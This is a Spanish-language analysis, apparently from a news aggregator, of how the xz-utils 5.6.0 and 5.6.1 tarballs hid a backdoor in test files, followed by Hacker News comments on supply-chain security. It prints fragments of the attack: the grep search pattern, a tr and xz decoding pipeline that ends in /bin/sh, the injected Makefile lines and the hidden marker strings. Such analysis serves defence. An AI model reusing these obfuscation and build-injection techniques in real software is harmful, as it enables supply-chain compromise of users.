- El ataque de xz se divide en inyección de código shell en la etapa de
configure e inyección de archivos objeto en la etapa de make, y este análisis sigue cómo el script de los tarballs distribuidos de xz 5.6.0 y 5.6.1 inserta un archivo objeto con backdoor en la compilación
- El código malicioso y el archivo objeto estaban ocultos, comprimidos y cifrados como si fueran archivos binarios de entrada para pruebas dentro de
tests/files, y la explicación previa del README de que eran “archivos de prueba hechos a mano” facilitó el disfraz
- El código agregado a
m4/build-to-host.m4 busca bad-3-corrupt_lzma2.xz, lo restaura con tr y xz -d, y luego lo ejecuta con /bin/sh; en 5.6.1 también se añadió un mecanismo de extensión que busca scripts adicionales en nuevos archivos de prueba
- El script
configure modifica src/liblzma/Makefile y libtool para volver a ejecutar el script oculto durante make, y ajusta banderas relacionadas con -z,now y PIC para que el resolver ifunc se ejecute en la etapa inicial del enlace dinámico
- En la etapa de
make, extrae y descifra el objeto malicioso desde good-large_compressed.lzma, luego sustituye los artefactos de compilación de crc64_fast.c y crc32_fast.c para interceptar llamadas a RSA_public_decrypt a través de _get_cpuid
Estructura completa del ataque
- Andres Freund avisó sobre la existencia del ataque de xz en la lista pública
oss-security@openwall el 2024-03-29
- El día anterior también avisó a Debian security y a la lista privada
distros@openwall
- El detonante fue que observó síntomas anómalos relacionados con
liblzma al instalar Debian sid, en concreto alto uso de CPU durante el inicio de sesión por SSH y errores de Valgrind
- El ataque está compuesto, en grandes rasgos, por dos etapas
- Se inyecta código shell durante
configure
- Ese código shell vuelve a inyectar código shell en
make y durante make agrega un archivo objeto malicioso a la compilación
- Si el archivo objeto malicioso se hubiera guardado directamente en el repositorio como
evil.o, habría sido fácil sospechar, así que el atacante ocultó tanto el código shell como el archivo objeto comprimidos y cifrados dentro de archivos binarios de entrada para pruebas
- El directorio
tests/files existía desde antes de la llegada de Jia Tan, y el README explicaba que contenía archivos para probar las implementaciones de los decodificadores .xz, .lzma y .lz, y que algunos habían sido hechos a mano con un editor hexadecimal porque “no hay mejor código fuente que el propio archivo”
- El atacante aprovechó ese contexto para hacer que pareciera que solo estaba agregando algunos archivos de prueba nuevos
Punto de ejecución al que apuntaba el backdoor
- El efecto final del script es hacer que la función
_get_cpuid del archivo objeto malicioso sea llamada como parte de un resolver GNU indirect function (ifunc)
- Un resolver ifunc normalmente puede ser invocado de forma diferida durante la ejecución del programa, pero por seguridad es común llamarlos todos al inicio del enlace dinámico y mapear GOT y PLT como solo lectura
- El resolver ifunc malicioso puede ejecutarse en esa fase inicial en la que GOT y PLT todavía son escribibles
- El backdoor busca
RSA_public_decrypt en la tabla y la reemplaza con la versión del atacante
- La función sustituida ejecuta código del atacante cuando se presenta el certificado SSH correcto
Etapa de configure: camuflaje en build-to-host.m4
- xz-utils usa GNU autoconf y, por lo general,
configure y los archivos m4 de soporte se incluyen en la distribución tarball, no en el repositorio fuente
- El ataque comienza agregando la biblioteca de soporte inesperada
m4/build-to-host.m4 a los tarballs de xz 5.6.0 y xz 5.6.1
- El
build-to-host.m4 malicioso incluye cambios que parecen plausibles frente al archivo estándar
- Sube el serial de
3 a 30
- Cambia el año de copyright de
2023 a 2023-2024
- Agrega algunos cambios difíciles de notar en shell y m4
- El núcleo real es el código que busca en la distribución un patrón específico con
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
- El archivo que coincide con ese patrón es
./tests/files/bad-3-corrupt_lzma2.xz
- Como resultado,
gl_am_configmake termina apuntando a ese archivo de prueba
gl_path_map se define como tr "\t \-_" " \t_\-", intercambiando tabulaciones y espacios, así como guiones bajos y guiones medios
Restauración del primer script oculto
gl_[$1]_prefix extrae la parte posterior al último punto del nombre del archivo, por lo que queda como xz
- Aunque el nombre parece indicar un prefijo, en realidad es la extensión del archivo
- Termina siendo el nombre de un comando de compresión que probablemente ya está instalado en la máquina de compilación
- La cadena de comando que se construye después parece usar
sed "r\n", pero en realidad se parece más a un cat ofuscado
- El
r\n de sed es una orden para leer un archivo inexistente llamado \n, así que no ocurre nada
- Como no se usa
-n, la entrada se imprime tal cual
- El comando que realmente se ejecuta tiene esta forma
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- Ese comando se evalúa durante la ejecución de
config.status mediante AC_CONFIG_COMMANDS
- En la salida restaurada aparecen
####Hello#### y ####World####, y según el README, el primer y el tercer stream de bad-3-corrupt_lzma2.xz son streams xz válidos, mientras que solo el stream del medio tiene los datos LZMA2 dañados
Diferencias entre 5.6.0 y 5.6.1
- En xz 5.6.0, el primer script restaurado recorta un rango específico de bytes desde
good-large_compressed.lzma, lo transforma, lo descomprime como un stream LZMA raw y lo pasa a /bin/sh
- El primer script de xz 5.6.1 incluye cinco veces una línea que intenta salir si no está en Linux
[ ! $(uname) = "Linux" ] && exit 0
- Más adelante, dentro del script largo que se analiza, también hay una línea de verificación de Linux exclusiva de 5.6.1
- Esa línea tiene un bug porque no hay espacios alrededor de
= y por eso no funciona
- En 5.6.1 cambian el número final de bytes de
head, el offset de tail y los argumentos de tr respecto de 5.6.0
- En el ejemplo, 5.6.1 extrae
16×2048+939 = 33,707 bytes
- Después usa
tail -c +31233 para quedarse con los últimos 31,233 bytes
- El pipeline de extracción se compone de estas etapas
- Descompresión de
good-large_compressed.lzma con xz -dc
- Extracción de un rango concreto de bytes con un pipeline de
head
- Selección de la parte final con
tail
- Aplicación de un cifrado de sustitución simple con
tr
- Descompresión del stream LZMA raw con
xz -F raw --lzma1 -dc
- Ejecución del resultado con
/bin/sh
Mecanismo de extensión de 5.6.1
- El script largo contiene varios puntos donde hace
eval sobre variables que no están definidas
- Por ejemplo:
eval $zrKcVq, eval $zrKcSS
- Puede que sean puntos de extensión para depuración o para que otro mecanismo futuro asigne valores
- Si existe
config.status, el script lee LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map y otros valores
- El código de extensión agregado en 5.6.1 busca dos cadenas mágicas en
tests/files
- Cadena de inicio:
~!:_ W
- Cadena de fin:
|_!{ -
- Si ambas cadenas están en el mismo archivo, extrae los bytes intermedios y, tras pasar por
tr y una descompresión LZMA2 raw, hace eval del resultado
- Este mecanismo parece diseñado para insertar scripts nuevos dentro de otros archivos de prueba en el futuro, sin tener que justificar que se regeneraron de nuevo los archivos binarios de prueba existentes
Condiciones de ejecución en la etapa de configure
- El script termina en silencio si no se cumplen las condiciones necesarias para el backdoor
- Debe estar activado el soporte de GNU ifunc
- En
config.status debe existir ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
- En
config.h debe existir define HAVE_FUNC_ATTRIBUTE_IFUNC 1
- La compilación de bibliotecas compartidas debe estar habilitada
enable_shared debe ser yes
- El objetivo de compilación debe ser Linux x86-64
build debe cumplir las condiciones ^x86_64 y linux-gnu$
- El código fuente relacionado con CRC ifunc debe seguir presente tal como se espera
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- También comprueba condiciones del compilador y del enlazador
GCC=yes
CC=gcc
- La salida de
LD -v debe incluir GNU ld
- Deben existir los archivos de prueba que contienen el backdoor:
good-large_compressed.lzma y bad-3-corrupt_lzma2.xz
Modificaciones en Makefile y libtool
- Si existe
debian/rules o si RPM_ARCH=x86_64, en la etapa de configure se ejecuta código que modifica src/liblzma/Makefile
- Primero verifica que existan en el Makefile varias líneas que luego usará como puntos de inserción
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- En
libtool verifica que exista pic_flag=" -fPIC -DPIC"
- Luego usa
sed -i para dispersar por distintas partes del Makefile líneas de la siguiente naturaleza
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir parece por nombre un directorio, pero en realidad apunta a un archivo
- Las líneas agregadas no se concentran en un solo lugar, sino que se insertan en distintos puntos del Makefile para que el archivo generado parezca complejamente normal
Banderas del enlazador y reejecución recursiva
- El script de la etapa de
configure agrega -Wl,--sort-section=name,-X a liblzma_la_LDFLAGS
- Si en
LDFLAGS no existe -z,now ni -z -Wl,now, también agrega -z,now
-Wl,now hace que el cargador dinámico resuelva todos los símbolos al inicio del programa, forzando el comportamiento de LD_BIND_NOW
- En ese proceso el resolver ifunc se ejecuta al arranque
- El backdoor puede correr cuando GOT y PLT todavía son escribibles
- La bandera PIC de
libtool se cambia así
- Antes:
-fPIC -DPIC
- Después:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- El script también agrega al Makefile
AM_V_CCLD y un fragmento largo de shell
- Al final ejecuta
sed rpath $(am__test_dir) | $(am__dist_setup)
sed rpath también hace el papel de un cat ofuscado
- Como resultado, durante
make vuelve a ejecutarse este pipeline
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
Etapa de make: extracción del archivo objeto
- En la etapa de
make, el script vuelve a ejecutarse dentro del directorio src/liblzma
- Como
config.status no está en el directorio actual, se omite la parte de edición del Makefile propia de la etapa de configure
- En cambio, si existen
.libs/liblzma_la-crc64_fast.o y .libs/liblzma_la-crc32_fast.o, asume que está en medio de make y ejecuta el siguiente código
- En 5.6.1 también se añadió un hook de extensión para la etapa de
make
- Cadena de inicio:
jV!.^%
- Cadena de fin:
%.R.1Z
- No existe ningún archivo de prueba que contenga esas cadenas, y parece una estructura para futuras extensiones
- Vuelve a comprobar que el código fuente relacionado con CRC ifunc sea el esperado
- También verifica que se hayan aplicado las banderas de compilación y enlazado añadidas en la etapa de
configure
../../libtool debe contener las banderas PIC adicionales
liblzma_la_LINK debe incluir -z,now o -z -Wl,now
- Si aparece
lazy, termina
Descifrado y selección del objeto malicioso
- Según el contenido de
gettext.m4, el script elige uno de dos valores de offset
- Como el
gettext.m4 del tarball distribuido de xz no contiene la cadena de comprobación, en la compilación de ejemplo toma la entrada completa
- Vuelve a descomprimir
good-large_compressed.lzma y extrae 33,707 bytes con el pipeline de head llamado i, definido antes
- Divide esa salida por bytes y ejecuta con
awk una función de descifrado similar a RC4
- En la versión 5.6.1, el segundo bucle itera hasta 8192
- En la versión 5.6.0, el bucle equivalente en la misma posición itera hasta 4096
- La salida descifrada se vuelve a descomprimir con
xz -dc --single-stream
--single-stream hace que se detenga en el primer marcador EOF de xz, para no leer la sección que antes se había extraído con tail
- El resultado final se escribe en
liblzma_la-crc64-fast.o
Sustitución de los objetos CRC
- El script hace una copia de respaldo del artefacto real de compilación
.libs/liblzma_la-crc64_fast.o con un nombre parecido: .libs/liblzma_la-crc64-fast.o
- Aprovecha la diferencia entre guion bajo (
crc64_fast) y guion medio (crc64-fast)
- Luego compila una versión modificada mediante
sed de crc64_fast.c y la usa, junto con el objeto malicioso extraído liblzma_la-crc64-fast.o, como entrada para sobrescribir .libs/liblzma_la-crc64_fast.o
- El código C insertado crea una nueva función
_is_arch_extension_supported que internamente llama a _get_cpuid
- El
crc64_resolve existente se modifica para llamar a _is_arch_extension_supported() en vez de is_arch_extension_supported()
_get_cpuid es una función provista por el archivo objeto con backdoor y, antes de devolver la información de cpuid, ejecuta acciones adicionales
- En particular, modifica GOT y PLT para interceptar llamadas a
RSA_public_decrypt
Manejo del lado de crc32 y limpieza
- Si la modificación de crc64 tiene éxito, el script aplica una modificación similar a
crc32_fast.c
- En el lado de crc32 no agrega el archivo objeto con backdoor
- Para no insertar dos veces el objeto malicioso en la compilación
- No está claro por qué intercepta tanto el ifunc de crc32 como el de crc64
- El análisis considera que con uno solo parecería suficiente
- Puede que buscara que en el depurador ambos códigos de despacho se vieran parecidos
- Si ambas compilaciones tienen éxito, vuelve a enlazar el archivo
.la con liblzma_la_LINK
- Si el enlazado tiene éxito pero no existe
.libs/liblzma.so, lo considera un fallo y restaura el respaldo
- Tanto si tiene éxito como si no, elimina
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so*
- Da por hecho que la etapa normal de enlazado del Makefile los volverá a generar después
- En la ruta de fallo, devuelve los objetos respaldados de crc32 y crc64 a sus nombres originales
- Al final elimina archivos temporales y de respaldo, actuando de forma que inyecta el objeto malicioso en los artefactos de
make sin dejar rastros
1 comentarios
Opiniones en Hacker News
Como alguien que lleva mucho tiempo detestando autotools, me gustaría decir que esto justifica mi postura, pero cualquier sistema de build lo bastante complejo como para admitir múltiples plataformas inevitablemente puede volverse lo suficientemente inescrutable como para que alguien meta algo así
Aun así, es realmente un problema que tanto software se construya con enormes scripts de shell estilo cargo cult que prácticamente nadie entiende por completo
Si los scripts de build estuvieran escritos en Python, habría sido mucho más difícil ofuscar el backdoor. A todo el mundo le habría parecido código raro. Con el código bash, aunque no se pueda leer, se tiende a asumir que es normal
./configure && make && make installLa raíz de la complejidad es la ausencia total de buenas prácticas para ese flujo, así que bajo estas condiciones no se puede resolver con un único archivo de configuración de build como
mybuild.tomlY también me pregunto por qué se volvió necesario un sistema complejo para construir algo como una biblioteca de compresión, que en esencia solo debería hacer matemáticas y asignación de memoria
Como desarrollador, esto es asombroso, y demuestra que lo que a mis ojos parece un método de ataque de primer nivel probablemente sea de dificultad baja o media para quienes trabajan en este nivel
En HN aparecen cosas de un nivel mucho más alto que esto, así que creo que, si hay suficiente dinero u otros incentivos, esto es apenas el comienzo de lo posible. Pensando en la enorme cantidad de paquetes en GitHub y en millones de bibliotecas, este vector es demasiado efectivo, y estoy seguro de que en los próximos meses saldrán a la luz cientos de casos similares
Me preocupan los fabricantes de hardware de consumo y prosumer, desde Philips Hue hasta Alexa, SumUp, fabricantes de cámaras, Netgear y TP-Link. Sus productos están llenos de bibliotecas open source, y estoy 100% seguro de que la mayoría de los equipos de desarrollo no dedica tiempo a buscar estos vectores de inyección sigilosos
Una organización comercial que presume confiabilidad hace análisis de cadena de suministro antes de adoptar dependencias. Por eso normalmente paga a Red Hat para mantener una distribución Linux estable, y por eso proyectos como FreeBSD restringen mucho el software que incluyen en la instalación base
Si esto te afectó, es lamentable, pero es tu responsabilidad. Si te preocupa que el desarrollador del software que usas gratis, como cerveza gratis, cambie de actitud, tienes que darle incentivos para no hacerlo —es decir, pagarle—, o hacer un fork del proyecto y añadir tus propias medidas de seguridad
Si te preocupa que haya un ataque a la cadena de suministro en dependencias de software comercial, deberías negociar un contrato que incluya compensación por esos daños. Si no tienes voluntad de hacerlo, no estás actuando de forma profesional
Y, para que quede claro, hablo en serio de que incluso las dependencias más básicas, como SSH, deberían pasar por una revisión de cadena de suministro
Los primeros artículos de seguridad informática solo pudieron explicar partes del código y no llegaron a cubrir la estrategia completa del ataque. Fue porque tanto el ataque como el código eran sofisticados. Que los análisis iniciales explicaran el ataque de formas distintas también se debió a que no era sencillo de entender, y solo más tarde aparecieron textos del tipo “por fin parece ser un ataque de ejecución remota de código”
Ahora que incluso hay scanners para detectar la vulnerabilidad en servidores, todos pueden decir “ah, ese ataque era demasiado simple y tonto; ¿por qué no lo encontramos antes?”
Lo mismo aplica a todos los dispositivos. Tampoco me gusta que Android tenga que usar kernels antiguos, ni me gustaba que macOS ejecutara una rama vieja de Darwin/BSD. Me preocupa el esfuerzo necesario para hacer backports
Por supuesto, eso no significa que el open source no tenga vulnerabilidades
Tal vez deberíamos temer más a los backdoors invisibles dentro de software propietario, que casi nunca se descubrirían
Creo que la infografía de Thomas Roccia todavía no se mencionó aquí: https://twitter.com/fr0gger_/status/1774342248437813525
Por ejemplo, oss-fuzz estaba clonando directamente el repositorio de GitHub para compilar xz. El backdoor no estaba en el repositorio, sino solo en el tarball, así que no había posibilidad de que oss-fuzz lo descubriera. Por lo tanto, ese PR de oss-fuzz bien podría haber sido un cambio real no relacionado con el backdoor
¿Qué tan probable es que hubiera otra cuenta o persona alrededor de Andreas Freund que se enterara antes de que el backdoor iba a hacerse público? Todavía me hace pensar que podría haber otros insiders alrededor
.gitignore. Hoy en día es difícil detectar ese tipo de cosasDesde la perspectiva de un observador ingenuo, lo que más llama la atención es esto:
“Como muchos archivos fueron creados manualmente con un editor hexadecimal, no hay un ‘código fuente’ mejor que el propio archivo.” Entiendo que en bibliotecas de parsing como liblzma eso puede pasar. Para el atacante, quizá solo parecía que estaba agregando algunos archivos de prueba nuevos.
El archivo en sí da miedo, pero entiendo la razón. Aun así, ¿no se podría al menos separarlo del build?
“Normalmente, los scripts
configurey las bibliotecas de soporte se agregan solo a las distribuciones en tarball, no al repositorio de código fuente. La distribución de xz también funciona así.”Dejando de lado la indignación ritual contra autotools, no entiendo por qué los archivos de prueba tienen que estar en el tarball. Una prueba maliciosa también podría infectar la máquina de un desarrollador, pero si el tarball está pensado para compilar el artefacto final, ¿no debería haber una política de incluir solo lo necesario? Más aún si los archivos de prueba son bloques binarios imposibles de auditar.
Aunque la última vez que hicimos eso preferimos el Git upstream y generamos nosotros mismos los artefactos necesarios de autoconf. La idea de un tarball de release con contenido que no está en Git nunca me gustó.
Debe ser posible compilar el código en la máquina destino y luego ejecutar las pruebas.
“La primera diferencia es que el script se asegura de salir, sí o sí, con absoluta certeza, si no se ejecuta en Linux.”
Las verificaciones repetidas ciertamente son un misterio. Mi hipótesis es que el atacante pudo haber agregado la repetición para que pareciera verosímil, como una entrada de prueba para una biblioteca de compresión.
O quizá simplemente fue pereza.
Parece intencional, pero no sé por qué están ahí. Pensé que tal vez los agregaron para rellenar tamaño porque xz omite la compresión si la entrada es demasiado corta o poco compleja, pero aun quitándolos y volviendo a comprimir con xz, se comprimía correctamente y el texto plano original no quedaba dentro de los bytes del archivo comprimido.
Algo que descubrí al intentar reproducir los bytes exactos del archivo
.xzcommiteado en Git es que el stream xz de ese script no parece haber sido comprimido con el preset predeterminado de xz. Tuve que usarxz --lzma2=dict=65536 -c stream_2para reproducirlo, y todos los presets numéricos predeterminados elegían un tamaño de diccionario distinto. Esto también parece intencional, pero no entendí la razón.Sin la repetición, quizá dentro del archivo comprimido habría aparecido algún binario extraño que disparara herramientas de seguridad o antivirus.
Es trágicamente gracioso que la tecnología moderna se haya vuelto endemoniadamente compleja e innecesariamente incomprensible, y cada vez empeora más. Parece que los desarrolladores disfrutan sádicamente de eso.
Es bastante impresionante que las herramientas vayan siguiendo el aumento de complejidad de los productos que construimos. Sinceramente, en la mayoría de los casos simplemente se están volviendo más simples, y creo que se trata más bien de que a la gente no le gusta aprender cosas nuevas.
Quien haya contratado a estas personas para infiltrarse en este proyecto debió haber invertido muchísimo tiempo en hacer que evitara la detección durante mucho tiempo. Por suerte, era tan complejo que no alcanzaron a considerar todos los factores
Por eso creo que, en términos de seguridad, el open source siempre será mejor que el software de código cerrado. Claro que este incidente expuso una enorme falla en la cadena de suministro, y también mostró lo subestimados que están los componentes base de FOSS y lo vulnerables que son sus mantenedores a la manipulación
Pero ¿y si el mismo ataque hubiera ocurrido dentro de una empresa privada? Es probable que ni siquiera hubiera hecho falta una ofuscación avanzada. Con un PR lo bastante grande y una fecha límite cercana, se podría colar algo así en sistemas en producción con un esfuerzo mínimo. Para cuando la empresa se diera cuenta de lo ocurrido, la persona ya estaría volando a un país sin tratado de extradición, vendiendo los datos filtrados en Tor o en la dark web
Si te contrata una empresa privada, la empresa sabe quién eres. Eso por sí solo es un disuasivo inmediato contra hacer cosas sospechosas. En GitHub nadie sabe quién eres. Puede que sea más difícil meter una puerta trasera en un proyecto sin que te descubran, pero si te descubren no asumes ningún riesgo. Puedes seguir intentándolo tantas veces como quieras. Jia Tan sigue sin ser capturado, y ni siquiera tuvo que diseñar toda su vida para vivir en un país sin tratado de extradición. A menos que ya estuviera en uno
Y aun después de entrar, no puedes hacer commits al proyecto objetivo como se te antoje. Tu gerente y el gerente de tu gerente tienen otras prioridades. La gestión, frecuentemente disfuncional, de las empresas con fines de lucro funciona aquí más bien como un disuasivo. No solo tienes que justificar el código en sí, sino también explicar por qué estabas trabajando en eso desde el principio
Incluso países con relaciones tensas pueden extraditar si resulta políticamente conveniente como parte de una negociación. Es probable que Rusia no hubiera retenido a Snowden si no hubiera revelado secretos de Estado. Si hubiera sido solo una filtración de datos común, quizá lo habrían intercambiado por algún oligarca detenido en otro lugar por lavado de dinero
Solo armar la lista ya sería útil
La lección de este incidente es que quizá no deberíamos permitir anonimato a los colaboradores clave de proyectos open source importantes. Este ataque tuvo éxito y el atacante probablemente se saldrá con la suya sin pagar ningún precio, precisamente porque era anónimo
Una medida así no ayudaría, y para un actor estatal o una amenaza persistente avanzada similar sería fácil eludirla agregando una suplantación de identidad más a la fase de ataque, o usando un agente al que puedan proteger incluso si se descubre la puerta trasera
En cambio, las barreras técnicas requeridas por ese tipo de procedimiento probablemente dañarían mucho a toda la comunidad open source
La solución aquí es aprender de este ataque y cambiar las prácticas para dificultar ataques similares. Los archivos que no están en el repositorio nunca deberían incluirse en un tarball de release. Todo el código generado resultante debe estar registrado, y los scripts de build deben regenerar el código derivado y fallar si difiere del código registrado. Los datos difíciles de entender no deberían ser accesibles durante el proceso de build de release, y las pruebas que dependen de datos binarios deben compilarse completamente separadas de los binarios de release
Primero, muchos colaboradores importantes, especialmente en seguridad, prefieren trabajar con seudónimo por razones válidas. Si los obligas a revelar su identidad, los vas a alejar
Segundo, si detrás está una agencia de inteligencia, como muchos sospechan, de todos modos esa agencia puede fabricar una identidad “real”. Al final terminarías excluyendo a quienes sí ayudan, sin excluir a los atacantes
Si un gobierno está involucrado, no hay límites. La única forma sería exigir presencia física en un lugar confiable, esperando que ese lugar no esté bajo la jurisdicción del atacante
Si alguien crea una biblioteca y otros empiezan a usarla, ¿se le obliga a revelar su identidad? ¿El mantenedor recibe pago?
Si has trabajado en desarrollo, sea cerrado o abierto, sabes que los desarrolladores aprueban PR de forma medio perezosa. Linus Torvalds es más bien una rara excepción que pasa el día señalando problemas
Si alguien es lo bastante exigente como para preocuparse de verdad por revisar con cuidado, esa persona suele ser vista como una molestia que frena el desarrollo. Se generan tensiones con el equipo porque parece que busca defectos
Para ser transparente, ahora estoy en una situación parecida. Yo no soy el exigente; lo es uno de los desarrolladores que contraté. Lamentablemente, su forma meticulosa de actuar no fue bien recibida, así que tuve que sacarlo del equipo. Tampoco ayudó que sea de Europa del Este y tienda a dar feedback de forma muy directa
Las utilidades de Unix han sido probadas durante mucho tiempo. Me gustaría que fijaran el kernel y las utilidades principales, y no las cambiaran, salvo que fuera realmente necesario
Si no está roto, no lo arregles. El imperio del software parece fuera de control
De vez en cuando hay ejemplos brillantes de algo bien hecho, pero en general creo que es justo decir que esas cosas fueron completamente desplazadas